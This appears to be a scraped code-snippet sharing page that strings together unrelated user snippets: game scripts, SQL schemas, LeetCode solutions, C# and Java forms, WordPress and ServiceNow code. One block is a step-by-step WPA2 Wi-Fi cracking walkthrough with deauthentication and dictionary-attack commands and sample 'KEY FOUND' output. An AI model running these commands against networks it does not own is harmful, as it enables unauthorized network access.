Snippets Collections
-- =============================================
-- Author:      Vignesh (Developer)
-- Create date: 15-03-2024
-- Description: For the Receptionist Regiration Insert Stored Procedure 
-- =============================================
extends CharacterBody3D

var mouse_sense = 0.1 
const SPEED = 5.0
const JUMP_VELOCITY = 4.5

# Get the gravity from the project settings to be synced with RigidBody nodes.
var gravity = ProjectSettings.get_setting("physics/3d/default_gravity")


@onready var head = $head
@onready var camera = $head/Camera3D

func _ready():
	#hides the cursor
	Input.set_mouse_mode(Input.MOUSE_MODE_CAPTURED)


func _input(event):
	#get mouse input for camera rotation
	if event is InputEventMouseMotion:
		rotate_y(deg_to_rad(-event.relative.x * mouse_sense))
		head.rotate_x(deg_to_rad(-event.relative.y * mouse_sense))
		head.rotation.x = clamp(head.rotation.x, deg_to_rad(-89), deg_to_rad(89))


func _physics_process(delta):
	# Add the gravity.
	if not is_on_floor():
		velocity.y -= gravity * delta

	# Handle jump.
	if Input.is_action_just_pressed("ui_accept") and is_on_floor():
		velocity.y = JUMP_VELOCITY

	# Get the input direction and handle the movement/deceleration.
	# As good practice, you should replace UI actions with custom gameplay actions.
	var input_dir = Input.get_vector("left", "right", "up", "down")
	var direction = (transform.basis * Vector3(input_dir.x, 0, input_dir.y)).normalized()
	if direction:
		velocity.x = direction.x * SPEED
		velocity.z = direction.z * SPEED
	else:
		velocity.x = move_toward(velocity.x, 0, SPEED)
		velocity.z = move_toward(velocity.z, 0, SPEED)

	move_and_slide()
shader_type spatial;
render_mode cull_front, unshaded;

uniform vec4 outline_color : source_color;
uniform float outline_width = 1.0;

void vertex() {
	vec4 clip_position = PROJECTION_MATRIX * (MODELVIEW_MATRIX * vec4(VERTEX, 1.0));
	vec3 clip_normal = mat3(PROJECTION_MATRIX) * (mat3(MODELVIEW_MATRIX) * NORMAL);
	
	vec2 offset = normalize(clip_normal.xy) / VIEWPORT_SIZE * clip_position.w * outline_width * 2.0;
	
	clip_position.xy += offset;
	
	POSITION = clip_position;
}

void fragment() {
	ALBEDO = outline_color.rgb;
	if (outline_color.a < 1.0) {
		ALPHA = outline_color.a;
	}
}
IF INDEX() = 1
  THEN 0
ELSE 
  (1 + AVG([Value])) * (PREVIOUS_VALUE(1) +1) -1
END
# List: Dynamic array, allows duplicate elements
list_example = [1, 2, 3]  # Initialization
list_example.append(4)  # O(1) - Add element to end
list_example.insert(1, 5)  # O(n) - Insert element at index
list_example.pop()  # O(1) - Remove last element
list_example.pop(1)  # O(n) - Remove element at index
element = list_example[2]  # O(1) - Access by index
# Note: Searching for an element is O(n), but not shown here

# Dictionary: Key-Value pairs, allows unique keys
dict_example = {'a': 1, 'b': 2}  # Initialization
dict_example['c'] = 3  # O(1) - Add or update
dict_example.pop('b')  # O(1) - Remove key
value = dict_example['a']  # O(1) - Access by key
# Note: Searching for a key is O(1), but not shown here

# Set: Unordered collection of unique elements
set_example = {1, 2, 3}  # Initialization
set_example.add(4)  # O(1) - Add element
set_example.remove(2)  # O(1) - Remove element
# Note: Checking if an element exists is O(1), but not shown here

# Tuple: Immutable sequence, allows duplicate elements
tuple_example = (1, 2, 3)  # Initialization
element = tuple_example[1]  # O(1) - Access by index
# Note: Searching for an element is O(n), but not shown here

# Heap: (Using heapq module for min heap)
import heapq  # Importing heapq module
heap_example = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]  # Example list
heapq.heapify(heap_example)  # O(n) - Transform list into a heap, in-place
heapq.heappush(heap_example, -5)  # O(log n) - Add element
smallest_element = heapq.heappop(heap_example)  # O(log n) - Pop the smallest item

# Deque: Double-ended queue, allows appending and popping from both ends
from collections import deque  # Importing deque from collections
deque_example = deque([1, 2, 3])  # Initialization
deque_example.append(4)  # O(1) - Add element to the right
deque_example.appendleft(0)  # O(1) - Add element to the left
deque_example.pop()  # O(1) - Remove element from the right
deque_example.popleft()  # O(1) - Remove element from the left
# Note: Access by index is O(n), but faster for operations on ends, not shown here
class Solution:
    def numIslands(self, grid: List[List[str]]) -> int:

        rows, cols = len(grid), len(grid[0])
        visit = set()
        count = 0

        def dfs(r, c):
            if r in range(rows) and c in range(cols) and (r,c) not in visit and grid[r][c] == "1":
                visit.add((r,c))
                for dr, dc in [[0, 1], [1, 0], [-1, 0], [0, -1]]:
                    dfs(r+dr, c+dc)

        for r in range(rows):
            for c in range(cols):
                if grid[r][c] == "1" and (r,c) not in visit:
                    count += 1
                    dfs(r,c)
        
        return count
#include<bits/stdc++.h>
using namespace std;

void solve(){
   
}

int main(){
    int t;
    cin>>t;
    while(t-->0){
        solve();
    }
    return 0;
}
#include<bits/stdc++.h>
using namespace std;

int main(){
    int t;
    cin>>t;
    while(t-->0){
    
    }
    return 0;
}
# Delete the logs of first 1000 actions related to a workflow from the server

WORKFLOW="My workflow name"
OWNER="owner"
REPOSITORY="repo"

gh run list --repo "$OWNER/$REPOSITORY" -w "$WORKFLOW" --limit 1000 --json databaseId \
| jq '.[].databaseId' \
| xargs -I{} gh api -X DELETE /repos/$OWNER/$REPOSITORY/actions/runs/{}/logs
addReceptionistRegistration -> For Reception Registration 

getReceptionRegisterDetails -> For Getting Using Send Id.

receptionAppShare -> Reception App Share.

Insert_otp_reception -> Insert Reception OTP to table.

approveReceptionistFor.

list_otp_reception

reception_login.

getParticularReceptionist.

update_otp_reception.

get_user_master_receptionist.

verify_reception_otp.

receptionistgetvendortypelist.

insertCommissionReceptionist. 

updateAdminReceptionContractDetails. 
create table mas_common_receptionist(
id bigint NOT NULL AUTO_INCREMENT,
vendor_id bigint null,
vendor_type_id bigint null,
receptionist_name varchar(250) null,
profile_path text null,
civil_id_path text null,
nationality varchar(250) null,
contact_email varchar(250) null,
contact_number varchar(250) null,
referal_code varchar(100) null,
civil_id_number varchar(250) null,
bank_name varchar(250) null,
account_name varchar(250) null,
account_number varchar(250) null,
iban varchar(500) null,
address varchar(300) null,
beneficiary_contact_number varchar(50) null,
salesAdmin_approveSts varchar(45) not null,
active_status varchar(45) not null,
created_on datetime not null,
decline_reason varchar(250) null,
salesAdminApproved_on datetime not null,
superAdminApproved_on datetime null,
modified_on datetime null,
modified_by varchar(45) null
)





--- For the Send Link to Member Table

create table sent_link_receptionist(
id bigint NOT NULL AUTO_INCREMENT,
receptionist_id bigint null,
vendor_name varchar(250) null,
vendor_mobileNo varchar(100) null,
created_by varchar(45) null,
created_date datetime null,
salesman_id varchar(45) null,
vendorType_id varchar(45) null,
country_code varchar(45) null,
e_mail varchar(45) null,
modified_by varchar(45) null,
modified_date datetime null,

PRIMARY KEY (id)
)




------ For the Move Mas common vendor to mas vendor



create table mas_receptionist(
id bigint not null,
vendor_type_id bigint null,
reception_contact varchar(250) null,
reception_clinic_name varchar(250) null,
reception_mobile varchar(250) null,
reception_code varchar(45) null,
reception_contact_mobile varchar(250) null,
reception_email varchar(250) null,
nationality varchar(250) null,
reception_address varchar(250) null,
active_flag tinyint(1) null,
created_by bigint null,
created_on datetime null,
modified_by int(11) null,
modified_on datetime null,
reception_approve_status varchar(1) not null,
apprrove_reject_time datetime null,
reception_profile_path text null,
reception_civil_path text null,
bank_name varchar(100) null,
account_name varchar(100) null,
account_number varchar(100) null,
iban varchar(100) null,
is_active varchar(45) null
);


--- Mas Commision Table For Receptionist

create table mas_commission_receptionist(
id bigint NOT NULL AUTO_INCREMENT,
receptionist_id bigint null,
contract_terms varchar(400) null,
active_flag tinyint(1) null,
created_by varchar(128) null,
created_on datetime null,
modified_by varchar(128) null,
modified_on datetime  null,
vendor_type_id int(11) null,
contact_acceptance_status  varchar(45) not null,
start_date datetime null,
end_date datetime null,
contract_accept_date datetime null,
signature_image longtext null,
signed_contract_file longtext null,
terms_and_condition_file longtext null,
admin_upload_status varchar(45) null,

PRIMARY KEY (id)
)


--- For Receptionist Vendor Tables

create table other_vendor_type(
id bigint NOT NULL AUTO_INCREMENT,
vendor varchar(100) null,
active_flag tinyint(1) null,
created_by varchar(128) null,
created_on datetime null,
modified_by varchar(128) null,
modified_on datetime  null,
web_url varchar(45) null,
reg_url varchar(45) null,
vendor_payment_days int(11) null,
doc_receive_thirty_days int(10) null,
doc_receive_sixty_days int(10) null,
PRIMARY KEY (id)
)
 private void CheckSuppExhPosition()
        {
            Point XtraTopLocation = new Point(xtraTabControl1.Location.X, xtraTabControl1.Location.Y);
            Point XtraButtomLocation = new Point(xtraTabControl2.Location.X, xtraTabControl2.Location.Y);
            Point GroupTopLocation = new Point(groupControl1.Location.X, groupControl1.Location.Y);
            Point GrouoButtomLocation = new Point(groupControl2.Location.X, groupControl2.Location.Y);
            
            if (Settings.GetUnit.SupplyPosition == "Top" || Settings.GetUnit.SupplyPosition == "Back")
            {
                xtraTabControl1.Location = XtraTopLocation;
                xtraTabControl2.Location = XtraButtomLocation;

                groupControl1.Location = GroupTopLocation;
                groupControl2.Location = GrouoButtomLocation;
            }
            else if (Settings.GetUnit.SupplyPosition == "Bottom" || Settings.GetUnit.SupplyPosition == "Front")
            {
                xtraTabControl1.Location = XtraButtomLocation;
                xtraTabControl2.Location = XtraTopLocation;

                groupControl1.Location = GrouoButtomLocation;
                groupControl2.Location = GroupTopLocation;
            }
          
          //refactor
          if (Settings.GetUnit.SupplyPosition == "Bottom" || Settings.GetUnit.SupplyPosition == "Front")
            {
                (xtraTabControl1.Location, xtraTabControl2.Location) = (xtraTabControl2.Location, xtraTabControl1.Location);
                (groupControl1.Location, groupControl2.Location) = (groupControl2.Location, groupControl1.Location);
            }
          
        }



"": {
  "prefix": "",
  "body": [
    ""
  ],
  "description": ""
}
#include<bits/stdc++.h>
using namespace std;

int main(){
  
  return 0;
}
const handleSubmit = async () => {
    const uri = encodeURIComponent(inputValue.toString());
    const url = "https://cleanuri.com";
    const shortenAPI = `${url}/api/v1/shorten`;
    if(uri!==""){
      try {
        const res = await fetch(shortenAPI, {
          method: "POST",
          body: `url=${uri}`,
          headers: {
            "Content-Type": "application/x-www-form-urlencoded",
          },
        });
  
        if (!res.ok) {
          throw new Error(`HTTP error! status: ${res.status}`);
        }
  
        const dataJSON = await res.json();
        setData([...data, { input: inputValue, result: dataJSON.result_url }]);
        setInputValue("");
        
      } catch (error) {
        console.error("Fetch error:", error);
      }
    }
    else{
      setAlertInput(!alertInput)
    }
  };
using System;
using System.Collections.Generic;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;

namespace CarMaintenanceAppointment
{
    public partial class AppointmentForm : Form
    {
        public AppointmentForm()
        {
            InitializeComponent();
        }

        private void btnPrefill_Click(object sender, EventArgs e)
        {
            // Pre-fill the form with some valid data
            txtCustomerName.Text = "John Doe";
            txtAddress.Text = "123 Main St";
            txtCity.Text = "Toronto";
            txtProvince.Text = "ON";
            txtPostalCode.Text = "A1A 1A1";
            txtEmail.Text = "johndoe@example.com";
            txtHomePhone.Text = "123-456-7890";
            txtCellPhone.Text = "987-654-3210";
            txtMakeModel.Text = "Toyota Camry";
            txtYear.Text = "2019";
            dtpAppointmentDate.Value = DateTime.Now;
        }

        private void btnBookAppointment_Click(object sender, EventArgs e)
        {
            // Reset error label
            lblErrors.Text = "";

            // Validate input fields
            List<string> errors = new List<string>();

            // Validation rules
            if (string.IsNullOrWhiteSpace(txtCustomerName.Text))
                errors.Add("Customer name is required.");
            if (string.IsNullOrWhiteSpace(txtEmail.Text) && string.IsNullOrWhiteSpace(txtAddress.Text) && string.IsNullOrWhiteSpace(txtCity.Text) && string.IsNullOrWhiteSpace(txtProvince.Text) && string.IsNullOrWhiteSpace(txtPostalCode.Text))
                errors.Add("Postal information is required if email is not provided.");
            if (!string.IsNullOrWhiteSpace(txtProvince.Text) && (txtProvince.Text.Length != 2 || !ValidationHelper.IsValidProvinceCode(txtProvince.Text)))
                errors.Add("Province code is invalid.");
            if (!string.IsNullOrWhiteSpace(txtPostalCode.Text) && !ValidationHelper.IsValidPostalCode(txtPostalCode.Text))
                errors.Add("Postal code is invalid.");
            if (string.IsNullOrWhiteSpace(txtHomePhone.Text) && string.IsNullOrWhiteSpace(txtCellPhone.Text))
                errors.Add("Either home or cell phone must be provided.");
            if (!string.IsNullOrWhiteSpace(txtEmail.Text) && !IsValidEmail(txtEmail.Text))
                errors.Add("Email is invalid.");
            if (string.IsNullOrWhiteSpace(txtMakeModel.Text))
                errors.Add("Make & model is required.");
            if (!string.IsNullOrWhiteSpace(txtYear.Text) && (!int.TryParse(txtYear.Text, out int year) || year < 1900 || year > DateTime.Now.Year + 1))
                errors.Add("Year is invalid.");
            if (dtpAppointmentDate.Value.Date < DateTime.Today)
                errors.Add("Appointment date cannot be in the past.");

            // Display errors if any
            if (errors.Count > 0)
            {
                lblErrors.ForeColor = System.Drawing.Color.Red;
                lblErrors.Text = string.Join("\n", errors);
                FocusFirstErrorControl();
                return;
            }

            // Format and save appointment data to file
            string appointmentData = $"{ValidationHelper.Capitalize(txtCustomerName.Text)}|{ValidationHelper.Capitalize(txtAddress.Text)}|{ValidationHelper.Capitalize(txtCity.Text)}|{txtProvince.Text.ToUpper()}|{FormatPostalCode(txtPostalCode.Text)}|{txtEmail.Text.ToLower()}|{FormatPhoneNumber(txtHomePhone.Text)}|{FormatPhoneNumber(txtCellPhone.Text)}|{ValidationHelper.Capitalize(txtMakeModel.Text)}|{txtYear.Text}|{dtpAppointmentDate.Value.ToString("yyyy-MM-dd")}";

            try
            {
                using (StreamWriter writer = new StreamWriter("appointments.txt", true))
                {
                    writer.WriteLine(appointmentData);
                }
                MessageBox.Show("Appointment booked successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
                ResetForm();
            }
            catch (Exception ex)
            {
                MessageBox.Show($"An error occurred while saving the appointment: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void btnReset_Click(object sender, EventArgs e)
        {
            // Reset the form
            ResetForm();
        }

        private void btnClose_Click(object sender, EventArgs e)
        {
            // Close the form
            Close();
        }

        private bool IsValidEmail(string email)
        {
            try
            {
                var addr = new System.Net.Mail.MailAddress(email);
                return addr.Address == email;
            }
            catch
            {
                return false;
            }
        }

        private void FocusFirstErrorControl()
        {
            // Set focus to the first control with an error
            foreach (Control control in this.Controls)
            {
                if (control.GetType() == typeof(TextBox) && !string.IsNullOrEmpty(control.Text))
                {
                    control.Focus();
                    return;
                }
            }
        }

        private string FormatPostalCode(string postalCode)
        {
            // Format postal code with a single space
            return postalCode.ToUpper().Trim().Insert(3, " ");
        }

        private string FormatPhoneNumber(string phoneNumber)
        {
            // Format phone number with dashes
            return Regex.Replace(phoneNumber, @"(\d{3})(\d{3})(\d{4})", "$1-$2-$3");
        }

        private void ResetForm()
        {
            // Reset the form to its original state
            txtCustomerName.Text = "";
            txtAddress.Text = "";
            txtCity.Text = "";
            txtProvince.Text = "";
            txtPostalCode.Text = "";
            txtEmail.Text = "";
            txtHomePhone.Text = "";
            txtCellPhone.Text = "";
            txtMakeModel.Text = "";
            txtYear.Text = "";
            dtpAppointmentDate.Value = DateTime.Now;
            lblErrors.Text = "";
        }
    }

    public static class ValidationHelper
    {
        public static string Capitalize(string input)
        {
            if (string.IsNullOrEmpty(input))
                return string.Empty;

            string[] words = input.Trim().ToLower().Split(' ');
            for (int i = 0; i < words.Length; i++)
            {
                if (words[i].Length > 1)
                {
                    words[i] = char.ToUpper(words[i][0]) + words[i][1..];
                }
                else if (words[i].Length == 1)
                {
                    if (i == 0)
                        words[i] = char.ToUpper(words[i][0]).ToString();
                    else
                        words[i] = words[i].ToString();
                }
            }
            return string.Join(" ", words);
        }

        public static bool IsValidProvinceCode(string provinceCode)
        {
            if (string.IsNullOrEmpty(provinceCode))
                return false;

            // Array of valid Canadian province codes
            string[] validCodes = { "AB", "BC", "MB", "NB", "NL", "NS", "NT", "NU", "ON", "PE", "QC", "SK", "YT" };
            return Array.Exists(validCodes, code => code.Equals(provinceCode, StringComparison.OrdinalIgnoreCase));
        }

        public static bool IsValidPostalCode(string postalCode)
        {
            if (string.IsNullOrEmpty(postalCode))
                return false;

            // Regular expression to match Canadian postal code pattern
            Regex regex = new Regex(@"^[a-zA-Z]\d[a-zA-Z] ?\d[a-zA-Z]\d$");
            return regex.IsMatch(postalCode);
        }
    }
}
# NC version -- ponder on this more! 
class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        res = [1] * (len(nums))

        for i in range(1, len(nums)):
            res[i] = res[i-1] * nums[i-1]
        postfix = 1
        for i in range(len(nums) - 1, -1, -1):
            res[i] *= postfix
            postfix *= nums[i]
        return res

# my version 
class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        
        pre = [1]+nums[:]+[1]
        for i in range(1, len(pre)-1):
            pre[i] = pre[i-1]*pre[i]
        print(pre)
 
        post = [1]+nums[:]+[1]
        for i in range(len(post)-2, 0, -1):
            post[i] = post[i+1]*post[i]
        print(post)
        
        res = []
        for i in range(1, len(nums)+1):
            res.append(pre[i-1]*post[i+1])
        return res
kubectl -n assa port-forward service/userdata-store 5900:5900

https://special-fiesta-178379b1.pages.github.io/
Name:
[your-name]

Email:
[your-email]

Phone:
[your-number]

City:
[your-city]

State:
[your-state]

Comment:
[your-message]




--
This e-mail was sent from a contact form on Clean Diesel Specialists Inc (https://cleandieselspecialists.com)
<p><strong>Name:</strong> (required)
    [text* your-name] </p>

<p><strong>Email:</strong> (required)
    [email* your-email] </p>

<p><strong>Number:</strong>
    [tel your-number] </p>

<p><strong>City:</strong> (required)
    [text* your-city] </p>

<p><strong>State:</strong> (required)
    [text* your-state] </p>

<p><strong>Comment:</strong>
    [textarea your-message 40x3] </p>

[cf7sr-simple-recaptcha]

<p>[submit "Submit"]</p>
poetry shell

export AWS_PROFILE=oura-devtools
aws sso login

poetry config http-basic.oura_pypi aws "$(aws codeartifact get-authorization-token --region eu-central-1 --domain-owner 393059362683 --domain ouraring --query 'authorizationToken' --output text)"

make sure docker is running

F5 in VScode

http://127.0.0.1:7000/v2/docs
dateadd(DAY,0, datediff(day,0, created)) will return the day created

for example, if the sale created on '2009-11-02 06:12:55.000', dateadd(DAY,0, datediff(day,0, created)) return '2009-11-02 00:00:00.000'

select sum(amount) as total, dateadd(DAY,0, datediff(day,0, created)) as created
from sales
group by dateadd(DAY,0, datediff(day,0, created))
# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
 CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]                                         
                                                                                                                                           
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  -19  75     1043      144   10   6  54e  WPA2 CCMP   PSK  ASUS                                                         
                                                                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4     6479  ASUS
                                 Aircrack-ng 1.2 beta3


                   [00:01:49] 111040 keys tested (1017.96 k/s)


                         KEY FOUND! [ hacktheplanet ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat

# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]                                        
                                                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 9C:5C:8E:C9:AB:C0  -47   0      140        0    0   6  54e  WPA2 CCMP   PSK  ASUS  
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49                                         
                                                                                                                                              
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 14:91:82:F7:52:EB  -66      205       26    0   1  54e  OPN              belkin.2e8.guests                                                   
 14:91:82:F7:52:E8  -64      212       56    0   1  54e  WPA2 CCMP   PSK  belkin.2e8                                                          
 14:22:DB:1A:DB:64  -81       44        7    0   1  54   WPA2 CCMP        <length:  0>                                                        
 14:22:DB:1A:DB:66  -83       48        0    0   1  54e. WPA2 CCMP   PSK  steveserro                                                          
 9C:5C:8E:C9:AB:C0  -81       19        0    0   3  54e  WPA2 CCMP   PSK  hackme                                                                 
 00:23:69:AD:AF:94  -82      350        4    0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome                                                   
 06:26:BB:75:ED:69  -84      232        0    0   1  54e. WPA2 CCMP   PSK  HH2                                                                 
 78:71:9C:99:67:D0  -82      339        0    0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2                                                          
 9C:34:26:9F:2E:E8  -85       40        0    0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT                                                    
 BC:EE:7B:8F:48:28  -85      119       10    0   1  54e  WPA2 CCMP   PSK  root                                                                
 EC:1A:59:36:AD:CA  -86      210       28    0   1  54e  WPA2 CCMP   PSK  belkin.dca
@media (max-width: 1024px) {
	.mobile-nav.wd-right {
		left: 0 !important;
		right: 0 !important;
		width: 100% !important;
		height: max-content !important;
		transform: translateY(-150%);
		pointer-events: none;
	}
	.mobile-nav.wd-opened {
		transform: translatey(70px);
		pointer-events: auto;
	}
	.wd-close-side.wd-fill.wd-close-side-opened {
		background: linear-gradient(180deg, transparent 35%, rgb(0 0 0 / 54%), rgb(0 0 0 / 85%));
	}
	.site-mobile-menu li a {
		line-height: 1;
		padding-top: 0px !important;
		padding-bottom: 0px !important;
		min-height: 40px;
	}
	.icon-sub-menu {
		height: 40px;
		width: 40px;
		line-height: 40px;
	}
}
"C:\Program Files\MongoDB\Server\5.0\bin\mongod.exe" --dbpath="c:\data\db"
function has_term( $term = '', $taxonomy = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$r = is_object_in_term( $post->ID, $taxonomy, $term );
	if ( is_wp_error( $r ) ) {
		return false;
	}

	return $r;
}

// Client script to call the UI script either for backend or workspaces

g_scratchpad.vfConfirm = function(message, callback){
	// This is the backend
    if (typeof GlideModal !== 'undefined') {
        vfConfirm(message, function(result) {
            callback(result);
        });
    } else {
		// This is for the workspace
        g_ui_scripts.getUIScript('vfConfirm').then(function(uiScript) {
            uiScript().vfConfirm(message, g_modal, function(result) {
                callback(result);
            });
        });
    }
	
};



// UI Script for backend. Type = Desktop and Global=Ticked

function vfConfirm(message, callback) {
	
    var dialog = new GlideModal('glide_modal_confirm', true, 300);
    dialog.setTitle(new GwtMessage().getMessage('Confirmation'));
    dialog.setPreference('body', new GwtMessage().format(message));
    dialog.setPreference('focusTrap', true);
    dialog.setPreference('onPromptCancel', function() {
        callback(false);
    });
    dialog.setPreference('onPromptComplete', function() {
        callback(true);
    });

    dialog.render();

}


// UI Script workspace. Mobile/Service Portal.

(function() {

    "use strict";

    return {

        vfConfirm : function(message, g_modal, callback) {
            g_modal.confirm('Confirmation', message, "", {
                "cancelTitle": "No",
                "confirmTitle": "Yes"
            }).then(
                function onSuccess() {
                    callback(true);
                },
                function onReject() {
                    callback(false);
                }
            );
        },

        type: "vfConfirm"
    };
});
sudo apt-get update
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
star

Sat Mar 16 2024 06:04:07 GMT+0000 (Coordinated Universal Time)

@vigneshAvelator

star

Sat Mar 16 2024 03:29:40 GMT+0000 (Coordinated Universal Time)

@azariel #glsl

star

Sat Mar 16 2024 03:23:35 GMT+0000 (Coordinated Universal Time) https://godotshaders.com/shader/pixel-perfect-outline-shader/

@azariel #glsl

star

Fri Mar 15 2024 16:35:02 GMT+0000 (Coordinated Universal Time)

@cvdubs

star

Fri Mar 15 2024 16:08:24 GMT+0000 (Coordinated Universal Time)

@playadust

star

Fri Mar 15 2024 15:41:54 GMT+0000 (Coordinated Universal Time) https://leetcode.com/problems/number-of-islands/

@playadust

star

Fri Mar 15 2024 14:31:30 GMT+0000 (Coordinated Universal Time)

@v1n6y #c++

star

Fri Mar 15 2024 14:30:37 GMT+0000 (Coordinated Universal Time)

@v1n6y #c++

star

Fri Mar 15 2024 13:52:13 GMT+0000 (Coordinated Universal Time)

@bmillot #git

star

Fri Mar 15 2024 13:19:10 GMT+0000 (Coordinated Universal Time)

@vigneshAvelator

star

Fri Mar 15 2024 12:21:19 GMT+0000 (Coordinated Universal Time)

@vigneshAvelator

star

Fri Mar 15 2024 11:05:15 GMT+0000 (Coordinated Universal Time)

@Simetra

star

Fri Mar 15 2024 11:02:02 GMT+0000 (Coordinated Universal Time) https://snippet-generator.app/?description

@sadjxt

star

Fri Mar 15 2024 09:11:19 GMT+0000 (Coordinated Universal Time)

@v1n6y #c++

star

Fri Mar 15 2024 09:00:19 GMT+0000 (Coordinated Universal Time) https://eu.startpage.com/?sc

@fcku

star

Fri Mar 15 2024 07:07:08 GMT+0000 (Coordinated Universal Time)

@fazmi322

star

Fri Mar 15 2024 05:55:12 GMT+0000 (Coordinated Universal Time) https://chat.openai.com/c/bf7e0b9b-404d-4d95-8b4b-95d8d70c6681

@Tanmay #c#

star

Fri Mar 15 2024 03:39:29 GMT+0000 (Coordinated Universal Time) http://127.0.0.1:5000/

@morrison27

star

Fri Mar 15 2024 03:39:25 GMT+0000 (Coordinated Universal Time) http://127.0.0.1:5000/

@morrison27

star

Fri Mar 15 2024 03:39:21 GMT+0000 (Coordinated Universal Time) http://127.0.0.1:5000/

@morrison27

star

Fri Mar 15 2024 03:39:15 GMT+0000 (Coordinated Universal Time) http://127.0.0.1:5000/

@morrison27

star

Fri Mar 15 2024 03:39:02 GMT+0000 (Coordinated Universal Time) http://127.0.0.1:5000/

@morrison27

star

Fri Mar 15 2024 01:51:35 GMT+0000 (Coordinated Universal Time) https://leetcode.com/problems/product-of-array-except-self/description/

@playadust

star

Thu Mar 14 2024 22:31:18 GMT+0000 (Coordinated Universal Time)

@playadust

star

Thu Mar 14 2024 20:57:34 GMT+0000 (Coordinated Universal Time)

@mcd777 #undefined

star

Thu Mar 14 2024 20:56:51 GMT+0000 (Coordinated Universal Time)

@mcd777 #undefined

star

Thu Mar 14 2024 20:53:56 GMT+0000 (Coordinated Universal Time)

